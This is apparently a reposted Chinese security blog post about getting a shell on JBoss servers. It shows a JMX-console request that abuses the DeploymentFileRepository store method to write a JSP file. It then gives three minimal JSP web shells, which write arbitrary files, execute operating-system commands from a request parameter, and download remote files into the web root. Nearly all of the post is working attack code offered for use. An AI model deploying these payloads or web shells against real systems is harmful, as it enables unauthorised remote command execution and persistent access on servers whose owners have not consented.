JBoss 本地 Getshell

admin 2023年12月15日23:32:36评论23 views字数 1401阅读4分40秒阅读模式

Jboss 远程部署 getshell 有时候会爆 org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter 的错误.

本地 getshell 不需要远程主机, 缺点是只能写特别小的 jsp 马, 太大可能会 400 或者 no response found.

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=CONTENT&argType=boolean&arg4=True

把 CONTENT 替换成要写入的内容, 注意先要进行一次 url 编码.

给出几个特别小的马.

写 shell, 传参 ?f=test.txt&t=helloworldT

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

执行命令, 传参 ?i=whoami

<%if(request.getParameter("i")!=null){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

下载文件, 传参 ?f=test.txt&u=http://example.com/test.txt

<% if(request.getParameter("u")!=null){java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();byte[] b = new byte[1024];java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());}%>

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日23:32:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JBoss 本地 Getshellhttp://cn-sec.com/archives/2304674.html

发表评论

匿名网友 填写信息